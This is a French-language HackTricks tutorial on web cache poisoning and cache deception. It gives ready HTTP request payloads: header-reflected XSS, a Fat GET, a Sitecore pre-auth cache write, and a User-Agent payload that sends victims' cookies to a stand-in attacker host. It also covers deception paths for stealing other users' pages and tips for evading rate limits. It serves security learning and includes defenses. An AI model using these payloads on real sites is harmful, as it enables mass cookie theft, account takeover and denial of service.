Cache Poisoning and Cache Deception
Reading time: 19 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
La différence
Quelle est la différence entre web cache poisoning et web cache deception ?
- Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
- Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupÚre ce contenu depuis le cache.
Cache Poisoning
Le cache poisoning vise à manipuler le cache cÎté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrÎle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
L'exécution d'une attaque de cache poisoning implique plusieurs étapes :
- Identification of Unkeyed Inputs : Ce sont des paramĂštres qui, bien qu'ils ne soient pas requis pour qu'une requĂȘte soit mise en cache, peuvent modifier la rĂ©ponse renvoyĂ©e par le serveur. Identifier ces inputs est crucial car ils peuvent ĂȘtre exploitĂ©s pour manipuler le cache.
- Exploitation of the Unkeyed Inputs : AprÚs avoir identifié les unkeyed inputs, l'étape suivante consiste à comprendre comment détourner ces paramÚtres pour modifier la réponse du serveur d'une maniÚre avantageuse pour l'attaquant.
- Ensuring the Poisoned Response is Cached : La derniÚre étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.
DĂ©couverte : VĂ©rifier les en-tĂȘtes HTTP
GĂ©nĂ©ralement, lorsqu'une rĂ©ponse a Ă©tĂ© stockĂ©e dans le cache, il y aura un en-tĂȘte l'indiquant ; vous pouvez vĂ©rifier quels en-tĂȘtes mĂ©ritent votre attention dans ce post : HTTP Cache headers.
Découverte : Mise en cache des codes d'erreur
Si vous pensez que la rĂ©ponse est stockĂ©e dans un cache, vous pouvez essayer d'envoyer des requĂȘtes avec un en-tĂȘte invalide, qui devrait rĂ©pondre avec un code de statut 400. Ensuite, essayez d'accĂ©der Ă la requĂȘte normalement et si la rĂ©ponse est un code 400, vous savez que c'est vulnĂ©rable (et vous pourriez mĂȘme effectuer un DoS).
Vous pouvez trouver plus d'options dans :
Cependant, notez que parfois ces types de codes de statut ne sont pas mis en cache, donc ce test peut ne pas ĂȘtre fiable.
Découverte : Identifier et évaluer les unkeyed inputs
Vous pouvez utiliser Param Miner pour brute-forcer les paramĂštres et en-tĂȘtes qui peuvent modifier la rĂ©ponse de la page. Par exemple, une page peut utiliser l'en-tĂȘte X-Forwarded-For pour indiquer au client de charger le script depuis lĂ :
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provoquer une réponse malveillante du serveur back-end
Une fois le paramĂštre/header identifiĂ©, vĂ©rifiez comment il est assaini et oĂč il est reflĂ©tĂ© ou comment il affecte la rĂ©ponse. Pouvez-vous l'exploiter malgrĂ© tout (rĂ©aliser un XSS ou charger du code JS que vous contrĂŽlez ? effectuer un DoS ?...)
Mettre la réponse en cache
Une fois que vous avez identifiĂ© la page qui peut ĂȘtre exploitĂ©e, quel paramĂštre/header utiliser et comment l'abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peutâĂȘtre rĂ©essayer pendant plusieurs secondes.
L'en-tĂȘte X-Cache dans la rĂ©ponse peut ĂȘtre trĂšs utile car il peut prendre la valeur miss lorsque la requĂȘte n'a pas Ă©tĂ© mise en cache et la valeur hit lorsqu'elle l'est.
L'en-tĂȘte Cache-Control est Ă©galement intĂ©ressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache Ă nouveau : Cache-Control: public, max-age=1800
Un autre en-tĂȘte intĂ©ressant est Vary. Cet en-tĂȘte est souvent utilisĂ© pour indiquer des en-tĂȘtes supplĂ©mentaires qui sont traitĂ©s comme faisant partie de la clĂ© de cache mĂȘme s'ils ne sont normalement pas pris en compte. Par consĂ©quent, si l'attaquant connaĂźt le User-Agent de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spĂ©cifique.
Un autre en-tĂȘte liĂ© au cache est Age. Il dĂ©finit le temps en secondes pendant lequel l'objet est restĂ© dans le cache du proxy.
Lors de la mise en cache d'une requĂȘte, faites attention aux en-tĂȘtes que vous utilisez car certains d'entre eux pourraient ĂȘtre utilisĂ©s de maniĂšre inattendue comme clĂ©s, et la victime devra utiliser ce mĂȘme en-tĂȘte. Testez toujours un Cache Poisoning avec diffĂ©rents navigateurs pour vĂ©rifier que cela fonctionne.
Exploiting Examples
Easiest example
Un en-tĂȘte comme X-Forwarded-For est reflĂ©tĂ© dans la rĂ©ponse sans ĂȘtre assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d'un XSS :
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Notez que cela empoisonnera une requĂȘte vers /en?region=uk et non vers /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup il est expliqué le scénario simple suivant :
- Le CDN mettra en cache tout sous
/share/ - Le CDN NE décodera PAS ni ne normalisera
%2F..%2F, par consĂ©quent, il peut ĂȘtre utilisĂ© comme path traversal pour accĂ©der Ă d'autres emplacements sensibles qui seront mis en cache commehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Le serveur web DĂCODERA et normalisera
%2F..%2F, et répondra avec/api/auth/session, qui contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies peuvent Ă©galement ĂȘtre reflĂ©tĂ©s dans la rĂ©ponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez ĂȘtre capable d'exploiter XSS sur plusieurs clients qui chargent la rĂ©ponse de cache malveillante.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Notez que si le cookie vulnĂ©rable est trĂšs utilisĂ© par les utilisateurs, des requĂȘtes rĂ©guliĂšres videront le cache.
Générer des divergences avec des délimiteurs, la normalisation et les points
Consultez :
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains comment il a Ă©tĂ© possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond Ă /share/* sera mis en cache sans que Cloudflare normalise l'URL, ce qui Ă©tait fait lorsque la requĂȘte atteignait le serveur web.
Ceci est aussi mieux expliqué dans :
Cache Poisoning via URL discrepancies
Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities
Parfois, vous devrez exploiter plusieurs entrĂ©es non utilisĂ©es comme clĂ© pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un Open redirect si vous dĂ©finissez X-Forwarded-Host sur un domaine contrĂŽlĂ© par vous et X-Forwarded-Scheme sur http. Si le serveur redirige toutes les requĂȘtes HTTP vers HTTPS et utilise l'en-tĂȘte X-Forwarded-Scheme comme nom de domaine pour la redirection, vous pouvez contrĂŽler la destination de la redirection.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiter avec un Vary header limité
Si vous constatez que l'en-tĂȘte X-Host est utilisĂ© comme nom de domaine pour charger une ressource JS mais que l'en-tĂȘte Vary dans la rĂ©ponse indique User-Agent, vous devez trouver un moyen d'exfiltrate le User-Agent de la victime et de poison the cache en utilisant ce User-Agent :
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envoyez une requĂȘte GET avec la requĂȘte dans l'URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l'URL, toute personne accĂ©dant Ă cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvĂ©e sur le site Github :
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Il existe un lab PortSwigger Ă ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Par exemple, il est possible de séparer les parameters sur des serveurs ruby en utilisant le caractÚre ; au lieu de &. Cela peut permettre de placer des valeurs de parameters sans clé à l'intérieur de parameters avec clé et de les exploiter.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.
Tests automatisés pour Web Cache Poisoning
Le Web Cache Vulnerability Scanner peut ĂȘtre utilisĂ© pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques diffĂ©rentes et est hautement personnalisable.
Exemple d'utilisation : wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ce pattern observé en conditions réelles enchaßne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de maniÚre fiable le HTML mis en cache et servi à d'autres utilisateurs :
- Le HTML principal reflĂ©tait un header de requĂȘte non fiable (p.ex.,
User-Agent) dans un contexte exĂ©cutable. - Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requĂȘtes se terminant par des extensions statiques (p.ex.,
.js), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques. - Des particularitĂ©s du flux de requĂȘtes permettaient Ă une requĂȘte vers un chemin
.jsd'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.
Recette pratique (observée sur un CDN/WAF populaire) :
- Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious
User-Agentvia le navigateur ou Burp Proxy Match & Replace. - Dans Burp Repeater, prĂ©parez un groupe de deux requĂȘtes et utilisez "Send group in parallel" (le mode single-packet fonctionne le mieux) :
- PremiĂšre requĂȘte : GET d'une ressource
.jssur le mĂȘme origin en envoyant votre maliciousUser-Agent. - ImmĂ©diatement aprĂšs : GET de la page principale (
/).
- La course de routage CDN/WAF plus le
.jsauto-cachĂ© amorcent souvent une variante de HTML mise en cache empoisonnĂ©e qui est ensuite servie Ă d'autres visiteurs partageant les mĂȘmes conditions de clĂ© de cache (p.ex., mĂȘmes dimensionsVarycommeUser-Agent).
Exemple de payload d'en-tĂȘte (pour exfiltrer des cookies non-HttpOnly) :
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Beaucoup de CDNs masquent les en-tĂȘtes de cache ; le poisoning peut n'apparaĂźtre que sur des cycles de rafraĂźchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d'observation et limitez le dĂ©bit pour Ă©viter les dĂ©clencheurs de limitation de dĂ©bit ou de rĂ©putation.
- Utiliser une IP issue du cloud du CDN améliore parfois la cohérence du routage.
- Si une CSP stricte est présente, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que la CSP autorise l'exécution inline ou est contournée par le contexte.
Impact:
- Si les cookies de session ne sont pas
HttpOnly, un ATO zero-click est possible en mass-exfiltratingdocument.cookiedepuis tous les utilisateurs servis par le poisoned HTML.
Defenses:
- Cessez de reflĂ©ter les en-tĂȘtes de requĂȘte dans le HTML ; encodez strictement selon le contexte si inĂ©vitable. Alignez les politiques de cache du CDN et de l'origin et Ă©vitez de varier selon des en-tĂȘtes non fiables.
- Assurez-vous que le WAF applique l'inspection de contenu de maniĂšre cohĂ©rente aux requĂȘtes
.jset aux chemins statiques. - Définissez
HttpOnly(etSecure,SameSite) sur les cookies de session.
Sitecore preâauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecoreâspecific pattern enables unauthenticated writes to the HtmlCache by abusing preâauth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>âŠpayloadâŠ</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Ceci écrit du HTML arbitraire sous une clé de cache choisie par l'attaquant, permettant un poisoning précis une fois les clés de cache connues.
For full details (cache key construction, ItemService enumeration and a chained postâauth deserialization RCE):
Exemples vulnérables
Apache Traffic Server (CVE-2021-27577)
ATS a transmis le fragment prĂ©sent dans l'URL sans le supprimer et a gĂ©nĂ©rĂ© la clĂ© de cache en utilisant uniquement l'hĂŽte, le path et la query (ignorant le fragment). Ainsi, la requĂȘte /#/../?r=javascript:alert(1) a Ă©tĂ© envoyĂ©e au backend comme /#/../?r=javascript:alert(1) et la clĂ© de cache ne contenait pas la payload, seulement l'hĂŽte, le path et la query.
GitHub CP-DoS
Envoyer une mauvaise valeur dans l'en-tĂȘte content-type a dĂ©clenchĂ© une rĂ©ponse 405 mise en cache. La clĂ© de cache contenait le cookie, donc il Ă©tait possible d'attaquer uniquement des utilisateurs non authentifiĂ©s.
GitLab + GCP CP-DoS
GitLab utilise des buckets GCP pour stocker du contenu statique. GCP Buckets supportent l'en-tĂȘte x-http-method-override. Il Ă©tait donc possible d'envoyer l'en-tĂȘte x-http-method-override: HEAD et de poison the cache afin de renvoyer un corps de rĂ©ponse vide. Il pouvait aussi supporter la mĂ©thode PURGE.
Rack Middleware (Ruby on Rails)
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisĂ©. Le rĂŽle du code Rack est de prendre la valeur de l'en-tĂȘte x-forwarded-scheme et de la dĂ©finir comme scheme de la requĂȘte. Lorsque l'en-tĂȘte x-forwarded-scheme: http est envoyĂ©, une redirection 301 vers la mĂȘme location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte l'en-tĂȘte X-forwarded-host et rediriger les utilisateurs vers l'hĂŽte spĂ©cifiĂ©. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attaquant, crĂ©ant un risque de sĂ©curitĂ©.
403 and Storage Buckets
Cloudflare mettait auparavant en cache les rĂ©ponses 403. Tenter d'accĂ©der Ă S3 ou Azure Storage Blobs avec des en-tĂȘtes Authorization incorrects renvoyait une rĂ©ponse 403 qui Ă©tait mise en cache. Bien que Cloudflare ait cessĂ© de mettre en cache les rĂ©ponses 403, ce comportement peut encore ĂȘtre prĂ©sent dans d'autres services de proxy.
Injecting Keyed Parameters
Les caches incluent souvent des paramĂštres GET spĂ©cifiques dans la clĂ© de cache. Par exemple, le Varnish de Fastly mettait en cache le paramĂštre size dans les requĂȘtes. Toutefois, si une version encodĂ©e en URL du paramĂštre (par ex. siz%65) Ă©tait aussi envoyĂ©e avec une valeur erronĂ©e, la clĂ© de cache serait construite en utilisant le paramĂštre size correct. Pourtant, le backend traiterait la valeur dans le paramĂštre encodĂ©. L'encodage URL du second paramĂštre size conduisait Ă son omission par le cache mais Ă son utilisation par le backend. Attribuer la valeur 0 Ă ce paramĂštre rĂ©sultait en une erreur 400 Bad Request susceptible d'ĂȘtre mise en cache.
User Agent Rules
Certains dĂ©veloppeurs bloquent les requĂȘtes dont les user-agents correspondent Ă ceux d'outils Ă fort trafic comme FFUF ou Nuclei pour gĂ©rer la charge serveur. Ironiquement, cette approche peut introduire des vulnĂ©rabilitĂ©s telles que cache poisoning et DoS.
Illegal Header Fields
Le RFC7230 spĂ©cifie les caractĂšres acceptables dans les noms d'en-tĂȘtes. Les en-tĂȘtes contenant des caractĂšres en dehors de la plage tchar devraient idĂ©alement dĂ©clencher une rĂ©ponse 400 Bad Request. En pratique, les serveurs n'adhĂšrent pas toujours Ă cette norme. Un exemple notable est Akamai, qui transfĂšre des en-tĂȘtes avec des caractĂšres invalides et met en cache toute erreur 400, tant que l'en-tĂȘte cache-control n'est pas prĂ©sent. Un schĂ©ma exploitable a Ă©tĂ© identifiĂ© oĂč l'envoi d'un en-tĂȘte contenant un caractĂšre illĂ©gal, comme \, entraĂźnait une erreur 400 Bad Request mise en cache.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
L'objectif de Cache Deception est de faire en sorte que les clients chargent des ressources qui vont ĂȘtre enregistrĂ©es par le cache avec leurs informations sensibles.
Tout d'abord, notez que les extensions telles que .css, .js, .png etc. sont gĂ©nĂ©ralement configurĂ©es pour ĂȘtre enregistrĂ©es dans le cache. Par consĂ©quent, si vous accĂ©dez Ă www.example.com/profile.php/nonexistent.js le cache stockera probablement la rĂ©ponse car il voit l'extension .js. Mais, si l'application renvoie le contenu utilisateur sensible stockĂ© dans www.example.com/profile.php, vous pouvez voler ces contenus d'autres utilisateurs.
Other things to test:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.
Apprenez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.
Outils automatiques
- toxicache: Golang scanner pour trouver des vulnérabilités de web cache poisoning dans une liste d'URLs et tester plusieurs techniques d'injection.
Références
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs â Sitecore XP cache poisoning â RCE
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks